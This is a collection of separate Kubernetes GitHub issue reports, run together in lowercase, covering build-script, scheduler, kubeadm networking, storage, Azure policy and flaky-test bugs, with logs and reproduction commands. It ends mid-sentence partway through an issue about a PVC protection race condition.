is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r attempting to build using the kubernetes/build script locally on osx using\r \r    bash\r make quick-release kube_release_run_tests=n kube_fastbuild=true kube_build_platforms=linux/amd64\r    \r instead of building for platform  linux/amd64  and skip tests, the script ran the followings:\r    bash\r +++  0919 15:09:52  verifying prerequisites....\r +++  0919 15:09:52  using docker for macos\r +++  0919 15:09:54  building docker image kube-build:build-e90db03174-5-v1.10.3-1\r +++  0919 15:09:59  syncing sources to container\r +++  0919 15:10:02  running build command...\r 2018/09/19 15:10:26 code for openapi definitions generated\r +++  0919 15:10:26  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     cmd/kube-scheduler\r     vendor/k8s.io/apiextensions-apiserver\r     cluster/gce/gci/mounter\r +++  0919 15:12:29  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kubeadm\r     cmd/kubelet\r +++  0919 15:13:18  multiple platforms requested, but available 7g < threshold 40g, building platforms in serial\r +++  0919 15:13:18  building go targets for darwin/amd64:\r     cmd/kubectl\r +++  0919 15:14:26  building go targets for linux/amd64:\r     cmd/kubectl\r +++  0919 15:14:51  multiple platforms requested, but available 7g < threshold 40g, building platforms in serial\r +++  0919 15:14:51  building go targets for darwin/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r +++  0919 15:18:22  building go targets for linux/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e/e2e.test\r +++  0919 15:22:37  building go targets for linux/amd64:\r     cmd/kubemark\r     vendor/github.com/onsi/ginkgo/ginkgo\r     test/e2e_node/e2e_node.test\r ...\r    \r   what you expected to happen  :\r i expected the build script to only build for specified platform of  linux/amd64  and skip all tests then stop.\r \r    bash\r > make quick-release kube_release_run_tests=n kube_fastbuild=true kube_build_platforms=linux/amd64\r +++  0919 15:09:52  verifying prerequisites....\r +++  0919 15:09:52  using docker for macos\r +++  0919 15:09:54  building docker image kube-build:build-e90db03174-5-v1.10.3-1\r +++  0919 15:09:59  syncing sources to container\r +++  0919 15:10:02  running build command...\r 2018/09/19 15:10:26 code for openapi definitions generated\r +++  0919 15:10:26  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kube-apiserver\r     cmd/kube-controller-manager\r     cmd/cloud-controller-manager\r     cmd/kubelet\r     cmd/kubeadm\r     cmd/hyperkube\r     cmd/kube-scheduler\r     vendor/k8s.io/apiextensions-apiserver\r     cluster/gce/gci/mounter\r +++  0919 15:12:29  building go targets for linux/amd64:\r     cmd/kube-proxy\r     cmd/kubeadm\r     cmd/kubelet\r +++  0919 15:13:18  multiple platforms requested, but available 7g < threshold 40g, building platforms in serial\r +++  0919 15:14:26  building go targets for linux/amd64:\r     cmd/kubectl\r +++  0919 15:18:22  building go targets for linux/amd64:\r     cmd/gendocs\r     cmd/genkubedocs\r     cmd/genman\r     cmd/genyaml\r     cmd/genswaggertypedocs\r     cmd/linkcheck\r ...\r \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r $> cd go/src/k8s.io/kubernetes\r $> make quick-release kube_release_run_tests=n kube_fastbuild=true kube_build_platforms=linux/amd64\r    \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.13.0-alpha.0.1307_4924bd53ec390c\r - cloud provider or hardware configuration: none\r - os  e.g. from /etc/os-release : osx\r \r - kernel  e.g.  uname -a  :\r    \r  darwin kernel version 17.7.0/release_x86_64 x86_64\r    \r

as part of promoting  runasgroup  https://github.com/kubernetes/enhancements/issues/213  feature  to beta, there were several questions that came up. this issue serves to capture those questions and initiate a discussion to eventually get answers or solutions to those.\r \r questions\r - are cri tests included in k/k ci  for at least containerd and cri-o ?\r - if not , should we depend on ci test results published from those external repos to http://prow.k8s.io/ or should we just include those tests inline in this repo  so that its easier to debug ?\r - what should be included in cri tests in the ci ? is crictl testsuite enough or more is needed ?\r - should dockershim be removed or continue to exist ?\r - should failure of cri tests be release blocking ?\r

what happened  :\r using the dynamic auditing feature the webhook host was unreachable. on deleting the object the apiserver did not remove the backend. a new backend was attempted to be provisioned, and the apiserver did not respond. \r \r   what you expected to happen  :\r the backend to be removed and the new one applied.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a backend with an unreachable  url  in the  clientconfig \r \r   environment  :\r kubernetes 1.13.2 \r ubuntu 16.04 lts\r aws\r provisioned with kubicorn

seems that kube-up.sh does not react gracefully to not having enough cores to bring up the whole set of nodes.  it should detect and exit.  instead, it just keeps retrying, apparently indefinitely, e.g.      waiting for group to become stable, current operations: creating: 2 waiting for group to become stable, current operations: creating: 2 waiting for group to become stable, current operations: creating: 2 waiting for group to become stable, current operations: creating: 2 waiting for group to become stable, current operations: creating: 2 waiting for group to become stable, current operations: creating: 2 ...

is this a bug report or feature request?    choose one : feature request  follow up to the discussion on pr  30860.  we would like to see a feature of exposing any single annotation via environment downward api. the fieldref used for that will contain a jsonpath selector and look like  metadata.annotation 'key'  .  we need to: - validate this fieldref properly - allow to put any string in key and escape  \\ ,  ' ,    ,     characters - reject keys in containing these chars without escaping  @kubernetes/sig-api-machinery @smarterclayton

filing this issue to keep track of fixing and reenabling flaky federation unit tests that were disabled in https://github.com/kubernetes/kubernetes/pull/36536.\r \r both @mwielgus and i are debugging.\r \r cc @kubernetes/sig-cluster-federation

we use kubernetes 1.4.0.\r \r kube-scheduler schedules a pod on a kubelet node. however the kubelet rejects the pod because of outofmemory. there is no mirror pod in the cluster and all pods has resource requests, is there any case might cause it?\r \r kube-scheduler log is:\r \r >i1214 16:54:26.850177   18367 scheduler.go:96  attempting to schedule pod: windyliu1/windyliu1-209600820-9d2c1\r >i1214 16:54:26.850430   18367 priorities.go:51  combined requested resources 7247757312 from existing pods exceeds capacity 7125270528 on node node-10-199-15-220\r i1214 16:54:26.850813   18367 factory.go:582  attempting to bind windyliu1-209600820-9d2c1 to node-10-199-15-220\r > ...\r >i1214 16:54:27.335881   18367 event.go:217  event api.objectreference{kind:\ pod\ , namespace:\ windyliu1\ , name:\ windyliu1-209600820-9d2c1\ , uid:\ 43c96b33-c1d7-11e6-9e8c-b499baace206\ , apiversion:\ v1\ , resourceversion:\ 1039981\ , fieldpath:\ \ } : type: 'normal' reason: 'scheduled' successfully assigned windyliu1-209600820-9d2c1 to node-10-199-15-220\r </quote>\r \r question: we could see that scheduler found there is no enough resource for the pod when making priorities to nodes. all pods has resource requests, so nodes' nonzerorequests equals normal requests, does it mean that the allocatable resources changes between predicates and priorities?\r \r kubelet log is:\r \r > i1214 16:54:46.056416   10497 kubelet.go:2318  syncloop  add, \ api\  : \ windyliu1-209600820-9d2c1_windyliu1 43c96b33-c1d7-11e6-9e8c-b499baace206 \ \r > ...\r > i1214 16:54:46.111987   10497 kubelet.go:2223  predicate failed on pod: windyliu1-209600820-9d2c1_windyliu1 43c96b33-c1d7-11e6-9e8c-b499baace206 , for reason: node didn't have enough resource: memory, requested: 134217728, used: 7113539584, capacity: 7125270528\r > i1214 16:54:46.112442   10497 server.go:608  event api.objectreference{kind:\ pod\ , namespace:\ windyliu1\ , name:\ windyliu1-209600820-9d2c1\ , uid:\ 43c96b33-c1d7-11e6-9e8c-b499baace206\ , apiversion:\ v1\ , resourceversion:\ 1053804\ , fieldpath:\ \ } : type: 'warning' reason: 'outofmemory'\r \r note: memory requested 134217728  + used 7113539584  = 7247757312  the number has been reported by kube-scheduler in above log:  combined requested resources 7247757312 from existing pods exceeds capacity 7125270528 .

as a result of https://github.com/kubernetes/kubernetes/issues/51899, audit logging was disabled in the scalability tests by https://github.com/kubernetes/test-infra/pull/4720\r \r after https://github.com/kubernetes/kubernetes/issues/53006 is fixed, those tests should again have audit logging enabled to verify the scalability of this feature.\r \r /cc @tallclair

hi all,\r \r   @kubernetes/sig-network-bugs\r \r we made the upstep from k8s 1.6 to 1.7.8 on our k8s clusters. as good k8s citizens, we have updated our networkpolicy yaml deployment files to use the new   networking.k8s.io/v1   apiversion. it appears however that a retrieval of networkpolicies deployed this way, still use the   extensions/v1beta1   apiversion. i suppose this is due to backwards compatibility concerns, which i can perfectly understand.\r \r what is the issue however, is that we deploy our networkpolicies  in an automated way, using a cluster applier process within each namespace, that pulls the yaml config from git and applies them periodically  using \ kubectl apply -f  .yaml\ . the kubectl client however refuses to do so, since he detects a _false_ change between what's deployed  extensions/v1beta1  and what's to be deployed  networking.k8s.io/v1 . i'd expect the same compatibility check/measures at apply time  not only at fetch/retrieval time .\r \r does anyone have any advice on how to get around this? we know that we could write a more advanced cluster applier process that circumvents this corner cases in an if-then-else matter, but i would expect the kubectl client to handle those things, or am i overlooking a certain kubectl feature here?\r \r best regards,\r bart

i accidentally turned off our load test in pr https://github.com/kubernetes/kubernetes/pull/60973. but thanks to it, i observed this pattern in our controller-manager memory usage during density test:\r \r ! controller-maanger-load-density-variance  https://user-images.githubusercontent.com/4333971/37290872-ac62ef2a-260d-11e8-988e-b05d359744f4.png \r \r you can see the jump after run 11479 when i re-enabled load test. and all subsequent spikes are seen in runs when the density test was preceeded by load test. we were seeing similar issues in past, but iirc it was for kube-proxies. my feeling is this is related to endpoints-controller processing backlog - but need to confirm.\r \r @wojtek-t - is it sth already observed in the past? do we consider it wai or should we try to fix it?\r \r @kubernetes/sig-scalability-bugs

to continue the work from https://github.com/kubernetes/kubernetes/pull/63984 and https://github.com/kubernetes/kubernetes/pull/63884 this issue helps track additional methods from the cmdutil.factory that should further be removed, or turned into helpers, independent from the factory.\r \r in  pkg/kubectl/cmd/util/factory_client_access.go \r \r -  x  mapbasedselectorforobject  turn into helper  https://github.com/kubernetes/kubernetes/pull/64132\r -  x  protocolsforobject  turn into helper  https://github.com/kubernetes/kubernetes/pull/64162\r -  x  suggestedpodtemplateresources  move to set_resources.go  https://github.com/kubernetes/kubernetes/pull/64134\r -  x  pauser / resumer  move to rollout_pause.go / rollout_resume.go command  https://github.com/kubernetes/kubernetes/pull/64121/files\r -  x  labelsforobject  can be completely removed  https://github.com/kubernetes/kubernetes/pull/64113\r -  x  command  turn into helper  https://github.com/kubernetes/kubernetes/pull/64114\r -  x  resolveimage  can be completely removed  https://github.com/kubernetes/kubernetes/pull/64113\r -  x  canbeexposed  move to expose.go  https://github.com/kubernetes/kubernetes/pull/64111\r \r most of these should be turned into cmd/util helpers under the  polymorphichelpers  https://github.com/kubernetes/kubernetes/tree/master/pkg/kubectl/polymorphichelpers  package with a specific  .go  file for each, and an exposed global variable under  polymorphichelpers/interface.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/polymorphichelpers/interface.go  actually exposing a mutate-able var for that helper  refer to the examples already there .\r \r cc @soltysh \r \r /assign @ellenkorbes \r /assign @juanvallejo\r /assign @deads2k

\r   what happened  :\r \r when specifying \ openstack\  as cloud-provider of e2e test, the test is failed like\r    \r $ go run hack/e2e.go --provider=openstack --test --test_args=\ --ginkgo.focus=pv\\sprotection\ \r ...\r setting up for kubernetes_provider=\ openstack\ .\r skeleton provider: prepare-e2e not implemented\r kube_master_ip: 192.168.1.102:6443\r kube_master:\r e0221 01:36:47.999337   11649 test_context.go:430  unknown provider \ openstack\ . the following providers are known: aws azure gce gke kubemark local skeleton\r \r ginkgo ran 1 suite in 524.865894ms\r test suite failed\r !!! error in ./hack/ginkgo-e2e.sh:143\r    \r \r   what you expected to happen  :\r \r we can run e2e test with openstack cloud provider.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just kick the following command:\r    \r $ go run hack/e2e.go --provider=openstack --test --test_args=\ --ginkgo.focus=pv\\sprotection\ \r     \r \r   anything else we need to know?  :\r \r this issue doesn't happen on v1.13, so this issue seems to happen during this dev cycle for v1.14.\r \r   environment  :\r - kubernetes version  use  kubectl version  : master for v1.14\r - cloud provider or hardware configuration: openstack\r - os  e.g:  cat /etc/os-release  : ubuntu 16.04.5 lts\r - kernel  e.g.  uname -a  : 4.4.0-142-generic\r - install tools: kubeadm\r - others:\r

it appears that the infoserver for the kubelet  can be disabled  https://github.com/googlecloudplatform/kubernetes/blob/ab6065944c686b03e71c4322cc52c95698c091c2/cmd/kubelet/kubelet.go l57 , but i can't seem to find any documentation on what effect this would have on the rest of the system.

if i do the following:      $ curl http://127.0.0.1:8080/apis/extensions/v1beta1/ ...     {       \ name\ : \ replicationcontrollers\ ,       \ namespaced\ : true,       \ kind\ : \ replicationcontrollerdummy\      },     {       \ name\ : \ replicationcontrollers/scale\ ,       \ namespaced\ : true,       \ kind\ : \ scale\      } ...      looking at the configuration in master.go i find this confusing: https://github.com/kubernetes/kubernetes/blob/master/pkg/master/master.go l681  if you follow it to its implementation, we are registering an object into storage that does nothing but implement  new    but supports no verbs.  swagger does the correct thing and only returns support for  replicationcontrollers/status  but as a user of the discovery client, it's confusing that we return the parent resource that supports no verbs...  https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/experimental/controller/etcd/etcd.go l42  this makes no sense to me right now, but it causes unexpected behavior.    if i do the following:      $ curl http://127.0.0.1:8080/apis/extensions/v1beta1/namespaces/default/replicationcontrollers {   \ kind\ : \ status\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {},   \ status\ : \ failure\ ,   \ message\ : \ the server could not find the requested resource\ ,   \ reason\ : \ notfound\ ,   \ details\ : {},   \ code\ : 404 }      i would have expected a 405 if i work against the discovery client rather than consulting swagger.  this is the only resource in the api that supports no top-level http verb.  is there any reason why we are registering in storage an object that only implements  new , but we are returning that object in the discovery results?  should the discovery result just return \ replicationcontrollers/scale\ .  i am trying to find the best way to work around this in namespace clean-up and while i could choose to ignore not found, it seemed odd and want to raise the issue now.  @lavalamp @caesarxuchao @directxman12

the kubectl update mechanism  e.g. for replication controllers  can create orphans. a more consistent approach to this verb  consistent wrt delete for example  would be:   proposal is a summary of conversation with brendan burns  update that would create orphans fails with a warning update -f updates anyway and creates orphans  e.g. if someone wants to do an in-place update of the rc  update --cascade=true ensures clean-up of pods that would be orphaned

os: centos 7 \r vsphere\r \r kubeadm init --kubernetes-version v1.6.1 successful \r sudo cp /etc/kubernetes/admin.conf $home/\r sudo chown $ id -u :$ id -g  $home/admin.conf\r export kubeconfig=$home/admin.conf\r \r but kubectl exec errors out due to below error, please help\r \r    \r  root@dotricorder03-master-01 templates   export kubeconfig=$home/admin.conf\r  root@dotricorder03-master-01 templates     kubectl exec -it zookeeper-0 bash  \r error: error sending request: post https://172.22.16.69:6443/api/v1/namespaces/default/pods/zookeeper-0/exec?command=bash&container=zookeeper&container=zookeeper&stdin=true&stdout=true&tty=true: eof\r

background: federation today uses a single identity to send all its requests to a cluster. this requires that single identity to have the authorization to do everything that federation is being used for.\r for ex: if 2 teams are using federation to federate resources in 2 namespaces, they need to create a service account for federation that has crud access to both namespaces. this single service account becomes more powerful then the service accounts of each teams  which have access to only a single namespace . this is not good.\r \r solution:\r a way to fix this is by updating federation to accept multiple service accounts  one per namespace  instead of only a single one. federation will then use the corresponding service account while sending requests in that namespace.\r \r things i need to figure out:\r   how will create federated namespace work?\r   how to give federation access to service accounts? pass the token? does deleting the service account revoke it?\r   are sa's namespaced by default?\r   does editor on namespace include authorization to crud sa in that ns?\r \r filing this early while i figure out the details to get any high level feedback early.\r \r \r cc @kubernetes/sig-auth-misc @kubernetes/sig-federation-feature-requests @erictune @smarterclayton @liggitt

is this a bug report or feature request?  : bug\r \r  \r   what happened  : if you are using a mac and gce and you specify node_local_ssds=0 when using gce via kube-up or e2e --up, then you end up getting 2 local ssds.\r \r   what you expected to happen  : i would expect to get 0 local ssds by default and when i specify node_local_ssds=0 explicitly.\r \r   how to reproduce it  as minimally and precisely as possible   :\r on mac execute:\r \r  node_local_ssds=0 go run hack/e2e.go -- -v --up\r  \r \r   anything else we need to know?  :\r \r i've discovered that this issue is due to https://github.com/kubernetes/kubernetes/blob/b353792f9c349abb50a312bc1adaea1b3a8e115c/cluster/gce/util.sh l579\r \r if node_local_ssds=0, this evaluates to $ seq 0 \r \r    \r $ for i in $ seq 0 ; do echo $i; done\r 1\r 0\r    \r \r from man seq on mac osx\r \r    \r the seq utility prints a sequence of numbers, one per line  default , from first  default 1 , \r to near last as possible, in increments of incr  default 1 .when first is larger than last the \r default incr is -1.\r    \r \r this was run on mac with the seq manpage indicating it comes from bsd feb 19 2010.\r \r note: some unix/linux variants, e.g. a test on ubuntu with coreutils 8.25 and a test on centos-7 with coreutils 8.22, had a different behavior that does not demonstrate this bug.\r \r \r   environment  :\r - cloud provider or hardware configuration  : gce\r - os  e.g. from /etc/os-release : mac osx\r \r

see issue  6079 as the roll-up for node upgrades.  use case: we upgrade nodes by tearing them down  deleting the instances  and bringing up new ones. do data on the nodes survive?  this might go beyond just 'volumes' if there are other ways that data should persist on kubernetes—anything that might rely on the presence of a node.  this issue will contain anywhere from zero to a significant amount of work to ensure that storage is migrated safely, and as a stretch goal, smartly.  references: - the most relevant discussion regarding storage and upgrades is in  3333. - this is ostensibly part of smartly evacuating nodes before upgrading them  6080

we want to create a 10gb/s cluster in k8s with internal subnetwork 192.168.0.0. each server has a 10g nic with internal ip and a 1g nic with ethernet ip. \r the 10gb/s nics are connected by a 10gb/s switch, and the ping works fine between those 10gb/s nic. therefore, the 10gb/s hardware network is fine.\r \r when we initialize the 10gb/s cluster on master node, we disconnet 1g nic and use the command as blow.\r \r kubeadm init --pod-network-cidr=10.244.0.0/16 --apiserver-advertise-address=192.168.0.101  --kubernetes-version=v1.11.2.\r \r the output of the master node is shown below after a while:\r \r “\r  init  using kubernetes version: v1.11.2\r  preflight  running pre-flight checks\r i0820 15:43:30.945154   21825 kernel_validator.go:81  validating kernel version\r i0820 15:43:30.945534   21825 kernel_validator.go:96  validating kernel config\r  preflight/images  pulling images required for setting up a kubernetes cluster\r  preflight/images  this might take a minute or two, depending on the speed of your internet connection\r  preflight/images  you can also perform this action in beforehand using 'kubeadm config images pull'\r  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  preflight  activating the kubelet service\r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  ananke kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 192.168.0.101 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  generated etcd/ca certificate and key.\r  certificates  generated etcd/server certificate and key.\r  certificates  etcd/server serving cert is signed for dns names  ananke localhost  and ips  127.0.0.1 ::1 \r  certificates  generated etcd/peer certificate and key.\r  certificates  etcd/peer serving cert is signed for dns names  ananke localhost  and ips  192.168.0.101 127.0.0.1 ::1 \r  certificates  generated etcd/healthcheck-client certificate and key.\r  certificates  generated apiserver-etcd-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ /etc/kubernetes/scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod manifest for a local etcd instance to \ /etc/kubernetes/manifests/etcd.yaml\ \r  init  waiting for the kubelet to boot up the control plane as static pods from directory \ /etc/kubernetes/manifests\ \r  init  this might take a minute or longer if the control plane images have to be pulled\r  apiclient  all control plane components are healthy after 32.502641 seconds\r  uploadconfig  storing the configuration used in configmap \ kubeadm-config\  in the \ kube-system\  namespace\r  kubelet  creating a configmap \ kubelet-config-1.11\  in namespace kube-system with the configuration for the kubelets in the cluster\r  markmaster  marking the node ananke as master by adding the label \ node-role.kubernetes.io/master=''\ \r  markmaster  marking the node ananke as master by adding the taints  node-role.kubernetes.io/master:noschedule \r  patchnode  uploading the cri socket information \ /var/run/dockershim.sock\  to the node api object \ ananke\  as an annotation\r  bootstraptoken  using token: e64w2y.2vdr4vp9dorciwwx\r  bootstraptoken  configured rbac rules to allow node bootstrap tokens to post csrs in order for nodes to get long term certificate credentials\r  bootstraptoken  configured rbac rules to allow the csrapprover controller automatically approve csrs from a node bootstrap token\r  bootstraptoken  configured rbac rules to allow certificate rotation for all node client certificates in the cluster\r  bootstraptoken  creating the \ cluster-info\  configmap in the \ kube-public\  namespace\r  addons  applied essential addon: coredns\r  addons  applied essential addon: kube-proxy\r \r your kubernetes master has initialized successfully!\r \r to start using your cluster, you need to run the following as a regular user:\r \r   mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r \r you should now deploy a pod network to the cluster.\r run \ kubectl apply -f  podnetwork .yaml\  with one of the options listed at:\r   https://kubernetes.io/docs/concepts/cluster-administration/addons/\r \r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join 192.168.0.101:6443 --token e64w2y.2vdr4vp9dorciwwx --discovery-token-ca-cert-hash sha256:24ac1d21d95246c94541c92f616af5e4b7a73e8b06b530ed5e1f48ba88525f19\r “\r it seems the initialization of the master is fine. \r \r then we run the configuration command at the master node\r \r “mkdir -p $home/.kube\r   sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r   sudo chown $ id -u :$ id -g  $home/.kube/config\r ”\r \r when we use the join command to join a node to this cluster at the worker node. it shows\r \r “\r  preflight  running pre-flight checks\r i0820 17:02:57.287087    7366 kernel_validator.go:81  validating kernel version\r i0820 17:02:57.287281    7366 kernel_validator.go:96  validating kernel config\r  discovery  trying to connect to api server \ 192.168.0.101:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://192.168.0.101:6443\ \r  discovery  requesting info from \ https://192.168.0.101:6443\  again to validate tls against the pinned public key\r  discovery  cluster info signature and contents are valid and tls certificate validates against pinned roots, will use api server \ 192.168.0.101:6443\ \r  discovery  successfully established connection with api server \ 192.168.0.101:6443\ \r  kubelet  downloading configuration for the kubelet from the \ kubelet-config-1.11\  configmap in the kube-system namespace\r  kubelet  writing kubelet configuration to file \ /var/lib/kubelet/config.yaml\ \r  kubelet  writing kubelet environment file with flags to file \ /var/lib/kubelet/kubeadm-flags.env\ \r  preflight  activating the kubelet service\r  tlsbootstrap  waiting for the kubelet to perform the tls bootstrap...\r  patchnode  uploading the cri socket information \ /var/run/dockershim.sock\  to the node api object \ erebos\  as an annotation\r \r this node has joined the cluster:\r   certificate signing request was sent to master and a response\r   was received.\r   the kubelet was informed of the new secure connection details.\r \r run 'kubectl get nodes' on the master to see this node join the cluster.\r ”\r after setting the network using flannel, we check the cluster details at the master node by “kubectl get nodes –o wide”. it shows:\r \r “\r name      status    roles     age       version   internal-ip      external-ip   os-image             kernel-version      container-runtime\r ananke    ready     master    10h       v1.11.2   192.168.0.101    none        ubuntu 16.04.4 lts   4.15.0-32-generic   docker://17.3.0\r erebos    ready      none      10h       v1.11.2         none            none        ubuntu 16.04.4 lts   4.15.0-32-generic   docker://17.3.0\r phanes    ready      none     10h       v1.11.2         none            none        ubuntu 16.04.4 lts   4.15.0-32-generic   docker://17.3.0\r ”\r we can see that internal ip cannot assigned to worker nodes. when we connect 1g nic, these nodes are assigned with 1g ip automatically, and works fine, which means that this cluster runs with 1g network in actual.\r \r therefore, the 10gb/s cluster is not created successfully. anyone has meet the same problem? thanks a lot.\r

flaky job: pr:pull-kubernetes-integration  flakes in the past week:   77    consistency:   87.50%         flakiest tests by flake count: | test | flake count | | --- | --- | | k8s.io/kubernetes/test/integration/scheduler testvolumeprovision | 31 | | k8s.io/kubernetes/test/integration/evictions testterminalpodeviction | 23 | | test-cmd run_rs_tests | 16 |       previously closed issues for this job flaking:  61384  69857     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r a number of local pv tests are flaky due to timeout:\r https://storage.googleapis.com/k8s-gubernator/triage/index.html?test=persistentvolumes-local\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:605\r expected error:\r     < errors.errorstring | 0xc4200d7540>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/persistent_volumes-local.go:692\r    \r \r @kubernetes/sig-storage-bugs \r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r vm sku restriction policy does not work in azure disk attach/detach\r if user set up a vm sku vm size  restriction policy, only allow set up specified vm size in current subscription, disk attach/detach would fail. error is like following:\r    \r events:\r   type     reason                  age   from                     message\r   ----     ------                  ----  ----                     -------\r   normal   scheduled               20s   default-scheduler        successfully assigned default/nginx-azuredisk to k8s-agentpool-17181929-1\r   warning  failedattachvolume      9s    attachdetach-controller  attachvolume.attach failed for volume \ pvc-0759925e-fd10-11e8-90f1-000d3a03e16b\  : attach volume \ andy-mg1121-dynamic-pvc-0759925e-fd10-11e8-90f1-000d3a03e16b\  to instance\r  \ /subscriptions/xxx/resourcegroups/andy-mg1121/providers/microsoft.compute/virtualmachines/k8s-agentpool-17181929-1\  failed with compute.virtualmachinesclient createorupdate: failure sending request: sta\r tuscode=0 -- original error: autorest/azure: service returned an error. status=403 code=\ requestdisallowedbypolicy\  message=\ resource 'k8s-agentpool-17181929-1' was disallowed by policy. policy identifiers: ' {\\\ policyassignment\\\ :{\\\ nam\r e\\\ :\\\ allowed virtual machine skus\\\ ,\\\ id\\\ :\\\ /subscriptions/xxx/providers/microsoft.authorization/policyassignments/aabc40fc571542b99d1c2f93\\\ },\\\ policydefinition\\\ :{\\\ name\\\ :\\\ allowed virtual machine sk\r us\\\ ,\\\ id\\\ :\\\ /providers/microsoft.authorization/policydefinitions/cccc23c7-8427-4f53-ad12-b6a63eb452b3\\\ }} '.\  target=\ k8s-agentpool-17181929-1\  additionalinfo= {\ info\ :{\ evaluationdetails\ :{\ evaluatedexpressions\ : {\ expression\ :\ type\ ,\r \ expressionvalue\ :\ microsoft.compute/virtualmachines\ ,\ operator\ :\ equals\ ,\ path\ :\ type\ ,\ result\ :\ true\ ,\ targetvalue\ :\ microsoft.compute/virtualmachines\ },{\ expression\ :\ microsoft.compute/virtualmachines/sku.name\ ,\ operator\ :\ in\ ,\ path\ :\r \ properties.hardwareprofile.vmsize\ ,\ result\ :\ false\ ,\ targetvalue\ : \ standard_d4\  } },\ policyassignmentdisplayname\ :\ allowed virtual machine skus\ ,\ policyassignmentid\ :\ /subscriptions/xxx/providers/micros\r oft.authorization/policyassignments/aabc40fc571542b99d1c2f93\ ,\ policyassignmentname\ :\ aabc40fc571542b99d1c2f93\ ,\ policyassignmentparameters\ :{\ listofallowedskus\ :{\ value\ : \ standard_d4\  }},\ policyassignmentscope\ :\ /subscriptions/b9d2281e\r -dcd5-4dfd-9a97-0d50377cdf76\ ,\ policydefinitiondisplayname\ :\ allowed virtual machine skus\ ,\ policydefinitioneffect\ :\ deny\ ,\ policydefinitionid\ :\ /providers/microsoft.authorization/policydefinitions/cccc23c7-8427-4f53-ad12-b6a63eb452b3\ ,\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   /assign

what's the problem  : \r \r the  pvc protection controller  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/pvcprotection/pvc_protection_controller.go  aims to prevent deletion of pvcs used by pods, as described  here  https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/postpone-pvc-deletion-if-used-in-a-pod.md . to that end, when it processes a pvc with  deletiontimestamp  set, it does a  cache-based list of the pods  https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/pvcprotection/pvc_protection_controller.go l212 , and removes its finalizer from the pvc only if no pod is using that pvc. in the current implementation there's a race condition. consider the following sequence of events:\r \r 1. a pod _p_ using an existing pvc _x_ is created and scheduled on a node _n_. assume _x_ has no  deletiontimestamp  set and no other pod is using it. \r 2. kubelet on _n_ is notified of _p_, does a  live look up of _x_ against the api server  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l563 ,  sees that \r  deletiontimestamp  is not set  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/volumemanager/populator/desired_state_of_world_populator.go l572-l587  and moves on to starting the containers and mounting the volumes for _p_, including the one backing _x_.\r 3. the api server receives a deletion 